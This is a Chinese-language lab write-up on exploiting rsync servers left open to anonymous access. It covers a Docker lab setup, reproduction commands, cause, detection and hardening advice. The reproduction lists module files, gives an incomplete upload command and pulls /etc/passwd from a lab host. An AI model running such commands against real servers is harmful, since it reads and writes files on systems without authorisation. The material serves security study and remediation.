0x00 简介

Rsync是一款数据备份工具,同步文件同时保持原来的文件权限、时间、软硬件链接等附加信息。同时支持rsync协议、ssh协议远程文件传输。rsync默认监听873端口,开启rsync服务没有配置ACL(访问控制列),访问密码,而rsync默认是root权限,我们就可以读写目标服务器文件

0x01 利用条件

rsync默认匿名访问

0x02 环境搭建

使用docker搭建
docker-compose bulid
docker-compose up -d
图片.png
查看开放端口

0x04漏洞复现

常规操作

列出模块下文件 rsync协议

rsync rsync://127.0.0.1/src
图片.png
任意文件上传
rsync rsync://127.0.0.1/src/home ip是目标机ip

图片.png
任意文件下载
`rsync -av rsync://127.0.0.1/src/etc/passwd ./
图片.png

0x04 漏洞原因

rsync 默认配置文件为etc/rsyncd.conf,常驻模式启动命令rsync -daemon,启动默认监听TCP端口873,可以通过rsync-daemon以及ssh两种方式认证
查看配置文件
图片.png
配置文件默认没有密码

0x05 漏洞探测

列出服务器下目录

图片.png
能访问到目录就说明没有加密就存在该漏洞

0x06 修复建议

更改rsync默认配置文件etc/rsyncd.conf或者修改参数
访问控制:设置host allow,限制允许访问主机IP
权限控制:设置auth users,模块设置为只读
权限控制:设置read only,模块设置为只读
访问认证:设置auth、secrets,认证成功才能调用服务
模块隐藏;设置list,将模块隐藏